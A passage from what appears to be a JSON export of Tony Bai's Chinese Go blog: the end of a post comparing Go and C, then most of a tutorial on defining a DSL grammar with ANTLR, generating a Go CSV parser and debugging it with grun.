name并不带有版本号，真实版本与主机环境有关，因此要实现C应用的可重现构建还是比较难。在实践中，我们通常会使用专门的构建主机，项目组将该主机上的依赖管理起来，进而保证每次构建所使用的依赖版本是可控的。同时，应用部署的目标主机上的依赖版本也应该得到管理，避免运行时出现动态共享库版本不匹配的问题。 6. 代码风格 Go语言是历史上首次实现了代码风格全社区统一的编程语言。它基本上消除了开发人员在代码风格上的无休止的、始终无法达成一致的争论，以及不同代码风格带来的阅读、维护他人代码时的低效。gofmt工具格式化出来的代码风格已经成为Go开发者的一种共识，融入到Go语言的开发文化当中了。所以，如果你让某个Go开发者说说gofmt后的代码风格是什么样的，多数Go开发者可能说不出，因为代码会被gofmt自动变成那种风格，大家已经不再关心风格了。\n而在C语言的世界，代码风格仍存争议。但经过多年的演进，以及像Go这样新兴语言的不断“教育”，C社区也在尝试进行这方面的改进，涌现出了像clang-format这样的工具。目前，虽然还没有在全社区达成一致的代码风格（由于历史原因，这很难做到），但已经可以减少很多不必要的争论。\n对于正在学习C语言，并进行C编码实践的Gopher，我的建议是：不要拘泥于使用什么代码风格，先用clang-format，并确定一套风格模板就好。\n四. 小结 作为一名对Go跟随和研究了近十年的程序员，我深刻体会到，Go的简单性、性能和生产力使它成为了创建面向用户的应用程序和服务的理想语言。快速的迭代让团队能够快速地作出反应，以满足用户不断变化的需求，让团队可以将更多精力集中在保持灵活性上。\n但Go也有缺点，比如缺少对内存以及一些低级操作的精确控制，而C语言恰好可以弥补这个缺陷。C 语言提供的更精细的控制允许更多的精确性，使得C成为低级操作的理想语言。这些低级操作不太可能发生变化，并且C相比Go还提高了性能。所以，如果你是一个有性能与低级操作需求的 Gopher ，就有充分的理由来学习C语言。\nC 的优势体现在最接近底层机器的地方，而Go的优势在离用户较近的地方能得到最大发挥。当然，这并不是说两者都不能在对方的空间里工作，但这样做会增加“摩擦”。当你的需求从追求灵活性转变为注重效率时，用C重写库或服务的理由就更充分了。\n总之，虽然Go和C的设计有很大的不同，但它们也有很多相似性，具备发挥兼容优势的基础。并且，当我们同时使用这二者时，就可以既有很大的灵活性，又有很好的性能，可以说是相得益彰！\n五. 写在最后 今天的加餐中，我主要是基于C与Go的比较来讲解的，对于Go语言的特性并没有作详细展开。如果你还想进一步了解Go语言的设计哲学、语法特性、程序设计相关知识，欢迎来学习我在极客时间上的专栏《Tony Bai ·Go语言第一课》。在这门课里，我会用我十年Gopher的经验，带给你一条系统、完整的Go语言入门路径。\n感谢你看到这里，如果今天的内容让你有所收获，欢迎把它分享给你的朋友。\n“Gopher部落”知识星球旨在打造一个精品Go学习和进阶社群！高品质首发Go技术文章，“三天”首发阅读权，每年两期Go语言发展现状分析，每天提前1小时阅读到新鲜的Gopher日报，网课、技术专栏、图书内容前瞻，六小时内必答保证等满足你关于Go语言生态的所有需求！2022年，Gopher部落全面改版，将持续分享Go语言与Go应用领域的知识、技巧与实践，并增加诸多互动形式。欢迎大家加入！\n我爱发短信：企业级短信平台定制开发专家 https://tonybai.com/。smspush : 可部署在企业内部的定制化短信平台，三网覆盖，不惧大并发接入，可定制扩展； 短信内容你来定，不再受约束, 接口丰富，支持长短信，签名可选。2020年4月8日，中国三大电信运营商联合发布《5G消息白皮书》，51短信平台也会全新升级到“51商用消息平台”，全面支持5G RCS消息。\n著名云主机服务厂商DigitalOcean发布最新的主机计划，入门级Droplet配置升级为：1 core CPU、1G内存、25G高速SSD，价格5$/月。有使用DigitalOcean需求的朋友，可以打开这个链接地址：https://m.do.co/c/bff6eed92687 开启你的DO主机之路。\nGopher Daily(Gopher每日新闻)归档仓库 – https://github.com/bigwhite/gopherdaily\n我的联系方式：\n微博：https://weibo.com/bigwhite20xx 微信公众号：iamtonybai 博客：tonybai.com github: https://github.com/bigwhite “Gopher部落”知识星球：https://public.zsxq.com/groups/51284458844544 商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。\n","permalink":"https://tonybai.com/2022/05/16/the-short-guide-of-embracing-c-lang-for-gopher/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/the-short-guide-of-embracing-c-lang-for-gopher-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2022/05/16/the-short-guide-of-embracing-c-lang-for-gopher\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2022/05/16/the-short-guide-of-embracing-c-lang-for-gopher\"\u003ehttps://tonybai.com/2022/05/16/the-short-guide-of-embracing-c-lang-for-gopher\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e本文是为于航老师的极客时间专栏\u003ca href=\"http://gk.link/a/11osT\"\u003e《深入C语言和程序运行原理》\u003c/a\u003e写的加餐文章\u003ca href=\"https://time.geekbang.org/column/article/500145\"\u003e《Tony Bai：Go程序员拥抱C语言简明指南》\u003c/a\u003e，这里分享给大家，尤其是那些想学习C语言的Gopher们。\u003c/p\u003e\n\u003chr\u003e\n\u003cp\u003e你好，我是Tony Bai。\u003c/p\u003e","title":"Go程序员拥抱C语言简明指南"},{"content":"\n本文永久链接 – https://tonybai.com/2022/05/10/introduction-of-implement-dsl-using-antlr-and-go\n一. 引子 设计与实现一门像Go这样的通用编程语言的确很难！那是世界上少数程序员从事的事业，但是实现一门领域特定语言(Domain Specific Language, DSL)似乎是可行的。\n就像著名的语言解析器生成工具ANTLR作者Terence Parr在《编程语言实现模式》一书中说的那样：\nYes, building a compiler for a general-purpose programming language requires a strong computer science background. But, most of us don’t build compilers. So, this book focuses on the things that we build all the time: configuration file readers, data readers, model-driven code generators, source-to-source translators, source analyzers, and interpreters. (翻译为中文：是的，为通用编程语言构建一个编译器需要强大的计算机科学背景。但是，我们中的大多数人并不构建编译器。所以，这本书的重点是我们一直在构建的东西：配置文件阅读器、数据阅读器、模型驱动的代码生成器、源码到源码的翻译器、源码分析器和解释器。)\n最近因业务需要，我们要在车端实现一个车辆数据处理的规则引擎SDK。这个SDK供车端数据服务使用，用于车辆数据上报前的预处理(如下图)。\n这么做，一来是因为隐私数据因隐私法规要求不可上传云端，另外特定业务场景下云端处理海量汽车的窗口数据开销太大，相反在车端处理便容易很多。随着车端算力的不断增强，这种车云结合也是车联网发展的趋势。车端有了数据处理的规则引擎后，通过云端下发规则的方式，车端便可以实现对数据处理逻辑的精准管控与快速安全的热更新(无需OTA)。\n针对引擎的规则的描述至少有两种技术方案，一种是使用以标准数据交换格式(比如：Json、yaml、xml等)承载的配置文件，一种则是自定义的领域特定语言(DSL)。我们选择了后者，为的是表达简单精炼、更贴近领域、表达范围安全可控以及抽象层次更高等。\n按照Martin Fowler的《领域特定语言》一书的介绍，DSL大体分为外部DSL与内部DSL。其中内部DSL是直接采用现有通用编程语言，比如python、lua、go的语法特性实现的DSL；而外部DSL则需要自己创建一门新语言，并实现语言的编译器或解析器，比如：SQL、ant、make等。\n对于在车端的执行的规则而言，使用通用编程语言语法描述的规则具有一定的不安全性，不符合我们的要求。我们只有外部DSL这一条路可走。这就需要我们自行设计DSL语法、DSL语言的解析器以及执行相应语义的执行器，如下图所示：\n看到上面示意图中的词法分析、语法分析，你肯定会想起大学时学过的难忘的一门课：编译原理。还记得当时你是如何通过这门课的考核的吗^_^。编译原理是计算机专业学生挂科率较高的一门专业课，它不仅抽象，听起来还十分枯燥。笔者并非计算机专业科班出身，但读本科时一直在旁听计算机系姜守旭老师的形式语言以及编译原理课，虽然当时有些云里雾里，但课程内核我还是有所把握。\n好了！现在编译原理课的概念与方法又要派上用场了！我们需要利用编译原理课上学到的知识来手工实现上图中的词法分析器、语法分析器…。\n等等！我们非要手工实现么？难道就没有工具能帮助我们吗？编译技术经过这么多年的发展，像词法分析、语法分析这两个阶段已经可以由工具自动帮你完成了。也就是说我们可以通过工具自动生成可以对DSL脚本进行词法分析(lexer)与语法分析(parser)的代码。\n对于编译器领域的新手，就像我，或者已经将编译原理知识还给老师的童鞋，我个人还是建议先使用辅助工具自动生成lexer和parser。在这一过程中，可以重温编译知识并深刻体会上下文无关文法(context-free grammar)的解析过程。当对这一问题域有深刻认知后，如果觉得自动生成的代码不够漂亮、不够灵活或性能不佳，再考虑手写lexer和parser也不迟。\n如果我没记错，Go最初的lexer和parser就是自动生成的，后来才换成Go语言之父之一的Robert Griesemer手写维护的Parser。\n那么我们选择哪个语法解析器的生成工具呢？我们继续往下看。\n二. 选择ANTLR 市面上可用于自动生成lexer和parser代码的工具有很多种。知名度高，应用较为广泛的包括：Lex和Yacc（GNU对应的版本的叫Flex和Bison）和ANTLR等。这里面lex和yacc(gnu版本：flex和bison)是固定组合。\nlex和yacc在20世纪70年代中旬诞生于著名的贝尔实验室，lex的原作者是Mike Lesk和Eric Schmidt(没错，就是Google前CEO)，而yacc的原作者为Stephen C. Johnson。同样在贝尔实验室供职的C++之父Bjarne Stroustrup就是用yacc实现了第一个C++编译器cfront的前端的(C代码)。\nlex是词法分析器，负责将源码(字符流)解析为一个个词法元素(token)；而yacc则将这些token作为输入，构建出一个程序结构，通常是一个抽象语法树(如下图)。\n图片来自lex和yacc教程\n不过由于lex和yacc诞生较早，支持生成的目标语言较少。经典的贝尔实验室的yacc最初只支持生成C语言的解析器代码。Gnu版本的Bison支持输出C、C++和Java。但和很多后起之秀相比，比如ANTLR，yacc(和bison)在目标语言可选择的广泛性、调试工具多样性以及整个社区的运作方面就显得相形见绌了。\nANTLR是由Terence Parr教授(目前跳槽去Google了)在上世纪90年代初期使用Java语言开发的一个强大的语法分析器生成工具，至今ANTLR依然在积极开发，并且有着一个稳定的社区。ANTLR支持生成C#, Java, Python, JavaScript, C++, Swift, Go, PHP等几乎所有主流编程语言的目标代码，并且ANTLR官方自己维护了Java、C++、Go等目标语言的runtime库(见下图)：\nANTLR可以生成各种主流通用编程语言的parser，并且在grammars-v4仓库中提供了这些语言的antlr4语法rule文件(antlr规则文件以g4为文件名后缀)，这些rule样例文件可作为我们自己设计文法时的重要参考。\n这里我们选择使用ANTLR来生成DSL的Parser。\n三. 如何基于ANTLR定义DSL语法 外部DSL与通用编程语言相比，体量虽小，但也是一门语言，我们在自动生成或手工编写其解析器之前需要定义出该DSL的语法。更准确地说是DSL的形式化语法。\n那么，如何定义/形式化一门语言呢？和自然语言一样，编程语言也都是有结构的。定义语言就是要把这些结构，包括成分与排列顺序规则，精确地描述出来。我们小学学习语文的时候，大家都学会句型分析，什么主谓宾定状补等。一个汉语完整句子的完整结构如下：\n// ()内的语法成分是可选的 (定语)主语 + (状语)谓语(补语) + (定语)宾语(补语) 要使用汉语表达正确的意思，就要满足这样的结构。要定义DSL语言，我们也要精确定义出DSL的结构。\n那么我们用什么方式来描述这种DSL的语法结构呢？在学习形式语言或编译原理课程时，想必大家肯定接触过BNF(Backus-Naur Form)，即巴科斯范式。巴科斯范式是以美国人巴科斯(Backus)和丹麦人诺尔(Naur)的名字命名的一种形式化的语法表示方法，是用来描述语法的一种形式体系，是一种典型的元语言。自从编程语言Algol 60（Naur，1960）使用BNF符号定义语法以来，这种符号规则体系被证明适合作为形式化编程语言的语法，之后人们也开始习惯于使用此类元语言去定义语言语法。\nBNF元语言的典型表达形式如下：\n\u0026lt;symbol\u0026gt; ::= expression \u0026lt;symbol\u0026gt; ::= expression1 | expression2 这个式子左侧放在尖括号中的symbol是一个非终结符号，而expression这个表达式由一个或多个终结符号或非终结符号的序列组成，这个式子也被称为产生式(production)。 产生式中的“::=”这个符号含义是“被定义为”，左边的非终结符号可以被推导为右边的表达式，右边的表达式也可以归约为左边的非终结符号。 如果右侧有多种表达式形式可作为symbol的归约选择，可以使用”|”符号分隔。 从未出现在左边的符号是终结符号。另一方面，出现在左侧的符号为非终结符号，并且总是被包围在一对\u0026lt;\u0026gt;之间。 随着BNF的广泛应用，一些以简化BNF或特定应用为目的的扩展BNF元语言被创建出来，其中典型的包括EBNF、ABNF等。\n最早的EBNF是由Niklaus Wirth开发的, 它包含了Wirth语法符号中的一些概念和不同的语法和符号. 1996年，国际标准化组织通过了EBNF标准ISO/IEC 14977:1996。\nEBNF使用了与BNF不同的符号且对BNF进行了增强，EBNF甚至可以定义自己的语法(如下)：\nletter = \u0026quot;A\u0026quot; | \u0026quot;B\u0026quot; | \u0026quot;C\u0026quot; | \u0026quot;D\u0026quot; | \u0026quot;E\u0026quot; | \u0026quot;F\u0026quot; | \u0026quot;G\u0026quot; | \u0026quot;H\u0026quot; | \u0026quot;I\u0026quot; | \u0026quot;J\u0026quot; | \u0026quot;K\u0026quot; | \u0026quot;L\u0026quot; | \u0026quot;M\u0026quot; | \u0026quot;N\u0026quot; | \u0026quot;O\u0026quot; | \u0026quot;P\u0026quot; | \u0026quot;Q\u0026quot; | \u0026quot;R\u0026quot; | \u0026quot;S\u0026quot; | \u0026quot;T\u0026quot; | \u0026quot;U\u0026quot; | \u0026quot;V\u0026quot; | \u0026quot;W\u0026quot; | \u0026quot;X\u0026quot; | \u0026quot;Y\u0026quot; | \u0026quot;Z\u0026quot; | \u0026quot;a\u0026quot; | \u0026quot;b\u0026quot; | \u0026quot;c\u0026quot; | \u0026quot;d\u0026quot; | \u0026quot;e\u0026quot; | \u0026quot;f\u0026quot; | \u0026quot;g\u0026quot; | \u0026quot;h\u0026quot; | \u0026quot;i\u0026quot; | \u0026quot;j\u0026quot; | \u0026quot;k\u0026quot; | \u0026quot;l\u0026quot; | \u0026quot;m\u0026quot; | \u0026quot;n\u0026quot; | \u0026quot;o\u0026quot; | \u0026quot;p\u0026quot; | \u0026quot;q\u0026quot; | \u0026quot;r\u0026quot; | \u0026quot;s\u0026quot; | \u0026quot;t\u0026quot; | \u0026quot;u\u0026quot; | \u0026quot;v\u0026quot; | \u0026quot;w\u0026quot; | \u0026quot;x\u0026quot; | \u0026quot;y\u0026quot; | \u0026quot;z\u0026quot; ; digit = \u0026quot;0\u0026quot; | \u0026quot;1\u0026quot; | \u0026quot;2\u0026quot; | \u0026quot;3\u0026quot; | \u0026quot;4\u0026quot; | \u0026quot;5\u0026quot; | \u0026quot;6\u0026quot; | \u0026quot;7\u0026quot; | \u0026quot;8\u0026quot; | \u0026quot;9\u0026quot; ; symbol = \u0026quot;[\u0026quot; | \u0026quot;]\u0026quot; | \u0026quot;{\u0026quot; | \u0026quot;}\u0026quot; | \u0026quot;(\u0026quot; | \u0026quot;)\u0026quot; | \u0026quot;\u0026lt;\u0026quot; | \u0026quot;\u0026gt;\u0026quot; | \u0026quot;'\u0026quot; | '\u0026quot;' | \u0026quot;=\u0026quot; | \u0026quot;|\u0026quot; | \u0026quot;.\u0026quot; | \u0026quot;,\u0026quot; | \u0026quot;;\u0026quot; ; character = letter | digit | symbol | \u0026quot;_\u0026quot; ; identifier = letter , { letter | digit | \u0026quot;_\u0026quot; } ; terminal = \u0026quot;'\u0026quot; , character , { character } , \u0026quot;'\u0026quot; | '\u0026quot;' , character , { character } , '\u0026quot;' ; lhs = identifier ; rhs = identifier | terminal | \u0026quot;[\u0026quot; , rhs , \u0026quot;]\u0026quot; | \u0026quot;{\u0026quot; , rhs , \u0026quot;}\u0026quot; | \u0026quot;(\u0026quot; , rhs , \u0026quot;)\u0026quot; | rhs , \u0026quot;|\u0026quot; , rhs | rhs , \u0026quot;,\u0026quot; , rhs ; rule = lhs , \u0026quot;=\u0026quot; , rhs , \u0026quot;;\u0026quot; ; grammar = { rule } ; 我们看到EBNF使用”=”替代BNF中的”::=”，并且终结符号必须放在双引号内，避免了BNF自身使用的符号（\u0026lt;, \u0026gt;, |, ::=）无法在语言中使用。此外，BNF语法只能在一行中定义一条产生式规则，而EBNF使用一个终止字符，即分号字符”;”来标识着一条产生规则的结束，这样EBNF的一条产生式规则可以跨越多行。 此外，EBNF还提供了许多增强的机制，比如：定义重复的数量、支持注释等。\n我们看到无论是BNF还是EBNF，它们都有一个共同特点，那就是产生式规则左侧仅有一个非终结符号，这样定义出的语法(文法)称为上下文无关(Context-Free Grammar，CFG)文法。以下面产生式规则为例：\nS = aSb 我们看到S始终都可以被推导为aSb，而无需考虑S在什么位置，上下文是什么。如果你还云里雾里，我们可以对比**上下文相关文法(Context-Sensitive Grammar，CSG)**来理解。下面就是一个上下文相关文法的产生式规则：\naSb = abScd 在这个产生式的左侧，S不再是“孤单”的，而是左右各有一个“保镖”：a和b。a和b就是S的上下文，也就说S只有在“左有a且右有b”的上下文环境下才能被推导为abScd。\n可以看出上下文相关文法更具通用性，因为一些语言(比如自然语言)可以用上下文相关文法定义，但却无法用上下文无关文法定义。但计算机编程语言更多使用上下文无关文法就可以定义。因此，后续我们定义的文法都是上下文无关文法。\nANTLR使用的是一种类EBNF的语法，通过ANTLR语法定义的DSL的语法规则放置在后缀为”.g4″的规则文件中，下面是一个ANTLR语法描述的简单计算器的DSL语法(该例子来自这里)：\n// Calc.g4 grammar Calc; // Rules start : expression EOF; expression : expression op=('*'|'/') expression # MulDiv | expression op=('+'|'-') expression # AddSub | NUMBER # Number ; // Tokens MUL: '*'; DIV: '/'; ADD: '+'; SUB: '-'; NUMBER: [0-9]+; WHITESPACE: [ \\r\\n\\t]+ -\u0026gt; skip; 一个antlr描述的语法规则由grammar关键字开始，后接这份语法的名字，这个名字要与文件名保持一致。比如上面例子中的语法名字为Calc，那么承载这份语法定义的文件名就应该为Calc.g4，否则通过antlr工具生成目标代码时会报错！\nantlr支持在语法定义文件中使用注释，支持单行注释//和多行注释/* … */。\nantlr语法定义文件本质上就是一个产生式规则的集合，其主体结构如下：\ngrammar MyG; rule1 : «stuff» ;\nrule2 : «more stuff» ; \u0026hellip;\nantlr本身就是一种类EBNF元语言，它使用冒号(:)作为产生式左侧非终结符号与右侧推导表达式的分隔符，使用与EBNF相同的分号(;)作为一条产生式规则的结束符，这样antlr可以支持一个产生式规则跨多行定义，就像上面例子中的非终结符号expression；\nantlr又将非终结符号做了细分，一种是首字母小写的单词代表的语法解析器规则(parser rule)，另外一种是首字母大写的单词(通常整个单词都大写)代表的词法分析器规则(lexical/token rule)。前者用于定义语法结构，就像上例中的expression，后者则定义词汇符号，比如上例中的NUMBER。\n上面例子中start作为整个Calc语法的起始规则；语法从start开始，自上而下展开。因此一个antlr dsl规则文件都应该有一个起始规则，名字可任意起；\n如果产生式右侧有多个可选表达式，可以用竖线(|)分开；\nexpression产生式每个可选表达式后面的井号及后面的单词用于指示这条推导表达式在目标代码中的方法名，主要是服务于生成的目标代码。\n比如：上述例子中的expression产生式“等价于”下面语法：\nexpression : muldiv | addsub | NUMBER ; muldiv : expression op=('*'|'/') expression ; addsub: | expression op=('+'|'-') expression ; 但是这个所谓的“等价”语法定义是有问题的，当我们用antlr基于该语法文件试图生成目标代码时会提示：\nerror(119): Calc.g4::: The following sets of rules are mutually left-recursive [expression, muldiv, addsub] antlr命令行工具提示Calc.g4中存在互斥的左递归问题。Antlr可以自动处理直接左递归，即在一个产生式规则中存在的左递归(对应到代码层面，就是在代表自己的函数Expr中递归调用Expr)，比如：\nexpr: expr op=('*'|'/') expr ; 如果是跨产生式规则的左递归，又称间接左递归(对应到代码层面就是在Expr函数中调用另外一个函数AddSub，而AddSub函数又调用了Expr函数)，比如下面规则：\nexpr: addsub; addsub: expr op=('+'|'-') expr; Antlr无法自动解决这种间接左递归，需要你优化DSL语法，消除间接左递归。\n如果你不习惯antlr定义dsl的语法，你可以通过https://bottlecaps.de/convert/这个在线工具将antlr4语法转换为EBNF语法(如下，可能不是标准EBNF)：\nstart ::= expression EOF expression ::= expression ( '*' | '/' | '+' | '-' ) expression | NUMBER _ ::= WHITESPACE /* ws: definition */ \u0026lt;?TOKENS?\u0026gt; NUMBER ::= [0-9]+ WHITESPACE ::= [ \\r\\n\\t]+ EOF ::= $ 该工具还支持在线生成语法对应的状态转换图，如下图：\n好了，到这里我们铺垫了很多很多了，下面我们来基于antlr进行一次实战！\n四. ANTLR安装、代码生成与语法调试 1. 安装和配置ANTLR ANTLR是一个Java开发的命令行工具包(截至发此文时，最新版本为4.10.1)，其安装步骤很简单。在官方醒目的位置有安装步骤，这里摘抄下来^_^：\n// 适用于MacOS(已安装JDK) $ cd /usr/local/lib $ sudo curl -O https://www.antlr.org/download/antlr-4.10.1-complete.jar // 通过下面命令将antlr jar包加入classpath并定义antlr4别名 // 或编辑shell的环境文件，比如.zshrc/.bashrc等，将下面内容添加到环境文件中并source生效 // grun别名将启动antlr提供的DSL语法调试工具，非常实用 $ export CLASSPATH=\u0026quot;.:/usr/local/lib/antlr-4.10.1-complete.jar:$CLASSPATH\u0026quot; $ alias antlr4='java -jar /usr/local/lib/antlr-4.10.1-complete.jar' $ alias grun='java org.antlr.v4.gui.TestRig' 安装后，执行下面命令，如果输出内容与下面相同，则说明安装成功。\n$antlr4 ANTLR Parser Generator Version 4.10.1 ... ... 接下来我们就来生成一个示例DSL的目标Parser代码。\n2. 生成一个CSV格式解析器的框架代码 本文是一篇入门文章，所以我挑选了一个大家都十分熟悉的数据格式CSV(逗号分隔的数据文件格式)，我们为这种数据格式生成一种可以实现解析和转换的DSL的parser。《ANTLR4权威指南》一书的8.1小节有一个CSV的例子，我们就“拿来主义”，为这个CSV语法生成对应的Parser代码框架。\n书中给出的CSV语法规则文件如下：\n// github.com/bigwhite/experiments/tree/master/antlr/csv2map/CSV.g4 grammar CSV; csvFile: hdr row+ ; hdr : row ; row : field (',' field)* '\\r'? '\\n' ; field : TEXT | STRING | ; TEXT : ~[,\\n\\r\u0026quot;]+ ; STRING : '\u0026quot;' ('\u0026quot;\u0026quot;'|~'\u0026quot;')* '\u0026quot;' ; // quote-quote is an escaped quote 书中这个例子给出CSV格式是带有header行的，即认为CSV文件的第一行是header。之后的行才是数据。而数据既可以是直接文本也是带有双引号的字符串。\n我们基于这个规则文件生成对应的Go代码：\n$antlr4 -Dlanguage=Go -o parser CSV.g4 通过-Dlanguage选项告诉antlr要生成的目标代码语言，通过-o指定生成代码存放的目录，这里我们告诉antlr将生成的Go代码放在parser目录下，由于生成的Go包名默认为parser，因此指定parser目录与Go的包导入路径机制是契合的。但是目前antlr不会根据传给-o的目录名去修改生成代码的包名。比如：-o parser1，生成代码在parser1目录下，但代码的包名依旧为parser，这点要注意。\n$tree ./parser . ├── CSV.g4 └── parser ├── CSV.interp ├── CSV.tokens ├── CSVLexer.interp ├── CSVLexer.tokens ├── csv_base_listener.go ├── csv_lexer.go ├── csv_listener.go └── csv_parser.go 3. 代码探索 下面我们对照CSV.g4中的语法规则，简单探索一下antlr生成的Go代码。\n如上面parser目录下的布局，antlr4默认情况下共生成了四个Go源文件：\ncsv_lexer.go：提供词法分析器实现 csv_parser.go：提供语法分析器的实现 csv_listener.go：定义了CSVListener接口 csv_base_listener.go：提供了一个CSVListener接口的默认实现BaseCSVListener，其方法实现默认都为空，即什么也不做。 这里重点看一下CSVListener接口：\n// CSVListener is a complete listener for a parse tree produced by CSVParser. type CSVListener interface { antlr.ParseTreeListener // EnterCsvFile is called when entering the csvFile production. EnterCsvFile(c *CsvFileContext) // EnterHdr is called when entering the hdr production. EnterHdr(c *HdrContext) // EnterRow is called when entering the row production. EnterRow(c *RowContext) // EnterField is called when entering the field production. EnterField(c *FieldContext) // ExitCsvFile is called when exiting the csvFile production. ExitCsvFile(c *CsvFileContext) // ExitHdr is called when exiting the hdr production. ExitHdr(c *HdrContext) // ExitRow is called when exiting the row production. ExitRow(c *RowContext) // ExitField is called when exiting the field production. ExitField(c *FieldContext) } 这是antlr根据CSV.g4中的文法生成的Listener，你一定要对照着CSV.g4中的文法来看这个接口的方法集合。我们看到，对于每个CSV.g4中的解析器规则(parser rule)，比如：csvFile、hdr、row、field，CSVListener中都有一对与之对应的方法。以hdr为例，EnterHdr对应进入hdr产生式规则时调用的方法，ExitHdr则对应离开hdr产生式规则时调用的方法。后续我们自定义遍历抽象语法树的CSVListener实现，就是要根据需要实现对应的方法即可。这个对照我们稍后的例子中代码，你会有更深刻的体会。\n此外，antlr生成的代码不多，但我们看到生成的CSVParser和CSVLexer两个结构中分别内嵌了antlr.BaseParser和antlr.BaseLexer，也就是说核心的实现都在antlr提供的go runtime中。\n此外这里还要说一下parser解析完文法后生成的语法树的访问方式。antlr提供两种语法树的遍历方式，一种是listener，一种是visitor，但antlr默认只是生成了listener的代码。如果要生成visitor代码，可以在命令行使用-visitor选项：\n$antlr4 -Dlanguage=Go -visitor -o parser CSV.g4 生成的源文件中就会多出csv_visitor.go和csv_base_visitor.go，前者定义了CSVVisitor接口，后者提供了CSVVisitor的基本实现：BaseCSVVisitor：\n$tree parser parser ├── CSV.interp ├── CSV.tokens ├── CSVLexer.interp ├── CSVLexer.tokens ├── csv_base_listener.go ├── csv_base_visitor.go ├── csv_lexer.go ├── csv_listener.go ├── csv_parser.go └── csv_visitor.go 当然antlr4命令行提供了各种精细的控制开关来控制是否生成listener或visitor：\n-listener generate parse tree listener (default) -no-listener don't generate parse tree listener -visitor generate parse tree visitor -no-visitor don't generate parse tree visitor (default) 在后面我们将使用listener方式遍历抽象语法树提取我们需要的信息。在深入代码之前，我们再来看看antlr提供的调试工具。\n4. 文法调试工具 我们基于antlr4提供的规则手工编写DSL的语法规则，难免会出现各种各样的问题，比如：有二义性、规则顺序导致的错误推导等。antlr提供了十分强大且方便的调试工具grun：\n$grun -h java org.antlr.v4.gui.TestRig GrammarName startRuleName [-tokens] [-tree] [-gui] [-ps file.ps] [-encoding encodingname] [-trace] [-diagnostics] [-SLL] [input-filename(s)] Use startRuleName='tokens' if GrammarName is a lexer grammar. Omitting input-filename makes rig read from stdin. 由于grun是java实现的，我们只能在目标代码为Java的情况下对g4文件的解析进行调试。所以使用grun工具的前提是先生成Java目标代码：\n$antlr4 CSV.g4 然后调用grun以及其提供的各种选项对解析过程进行调试。\n图形化调试 通过下面结合了-gui选项的grun命令：\n$grun CSV csvFile demo1.csv -gui grun可以在新窗口中输出抽象语法树的全貌：\n通过这样一个图形，我们可以清晰看出规则匹配是否如我们预期。\nTree型调试 通过下面结合了-tree选项的grun命令：\n$grun CSV csvFile demo1.csv -tree grun可以在命令行输出树型匹配结构，这个就等价于图形化调试截图中的左侧窗口。如果你就喜欢命令行方式的输出，可以试试这个。\n(csvFile (hdr (row (field Details) , (field Month) , (field Amount) \\n)) (row (field Mid Bonus) , (field June) , (field \u0026quot;$2,000\u0026quot;) \\n) (row field , (field January) , (field \u0026quot;\u0026quot;\u0026quot;zippo\u0026quot;\u0026quot;\u0026quot;) \\n) (row (field Total Bonuses) , (field \u0026quot;\u0026quot;) , (field \u0026quot;$5,000\u0026quot;) \\n)) 词法解析调试 grun还单独提供了针对词法分析阶段的调试命令行选项：-tokens：\n使用下面命令：\n$grun CSV csvFile demo1.csv -tokens grun可以输出如下词法分析阶段的详细过程，通过这个输出，我们可以看出输入数据中的字符序列匹配情况，是否如预期的匹配到对应的词法规则上去了，比如CSV.g4中的两个词法规则：TEXT和STRING：\n[@0,0:6='Details',\u0026lt;TEXT\u0026gt;,1:0] [@1,7:7=',',\u0026lt;','\u0026gt;,1:7] [@2,8:12='Month',\u0026lt;TEXT\u0026gt;,1:8] [@3,13:13=',',\u0026lt;','\u0026gt;,1:13] [@4,14:19='Amount',\u0026lt;TEXT\u0026gt;,1:14] [@5,20:20='\\n',\u0026lt;'\\n'\u0026gt;,1:20] [@6,21:29='Mid Bonus',\u0026lt;TEXT\u0026gt;,2:0] [@7,30:30=',',\u0026lt;','\u0026gt;,2:9] [@8,31:34='June',\u0026lt;TEXT\u0026gt;,2:10] [@9,35:35=',',\u0026lt;','\u0026gt;,2:14] [@10,36:43='\u0026quot;$2,000\u0026quot;',\u0026lt;STRING\u0026gt;,2:15] [@11,44:44='\\n',\u0026lt;'\\n'\u0026gt;,2:23] [@12,45:45=',',\u0026lt;','\u0026gt;,3:0] [@13,46:52='January',\u0026lt;TEXT\u0026gt;,3:1] [@14,53:53=',',\u0026lt;','\u0026gt;,3:8] [@15,54:64='\u0026quot;\u0026quot;\u0026quot;zippo\u0026quot;\u0026quot;\u0026quot;',\u0026lt;STRING\u0026gt;,3:9] [@16,65:65='\\n',\u0026lt;'\\n'\u0026gt;,3:20] [@17,66:78='Total Bonuses',\u0026lt;TEXT\u0026gt;,4:0] [@18,79:79=',',\u0026lt;','\u0026gt;,4:13] [@19,80:81='\u0026quot;\u0026quot;',\u0026lt;STRING\u0026gt;,4:14] [@20,82:82=',',\u0026lt;','\u0026gt;,4:16] [@21,83:90='\u0026quot;$5,000\u0026quot;',\u0026lt;STRING\u0026gt;,4:17] [@22,91:91='\\n',\u0026lt;'\\n'\u0026gt;,4:25] [@23,92:91='\u0026lt;EOF\u0026gt;',\u0026lt;EOF\u0026gt;,5:0] 此外，grun提供的-trace和-diagnostics均可以从不同角度为文法规则的正确性提供跟踪诊断信息。\n为了方便使用，我将grun调试功能嵌入到Makefile中，通过make gui、make tokens、make tree等命令即可实现不同形式的调试。Makefile代码参见本文提供的代码示例csv2map。\n五. 为示例增加语义 通过grun的调试，只能说明我们定义的文法(CSV.g4)是正确的，是可以解析输入的数据(demo1.csv)的。但解析成功后的数据要怎么处理呢？这就需要我们为示例增加处理语义。\n在这个例子中，我们模仿《antlr权威指南》书中的例子将demo1.csv的数据形式转换为另一种map形式输出，举例来说，就是将下面的csv数据：\nDetails,Month,Amount Mid Bonus,June,\u0026quot;$2,000\u0026quot; ,January,\u0026quot;\u0026quot;\u0026quot;zippo\u0026quot;\u0026quot;\u0026quot; Total Bonuses,\u0026quot;\u0026quot;,\u0026quot;$5,000\u0026quot; 转换为下面map形式：\n[{Details=Mid Bonus, Month=June, Amount=\u0026quot;$2,000\u0026quot;}, {Details=, Month=January, Amount=\u0026quot;\u0026quot;\u0026quot;zippo\u0026quot;\u0026quot;\u0026quot;}, {Details=Total Bonuses, 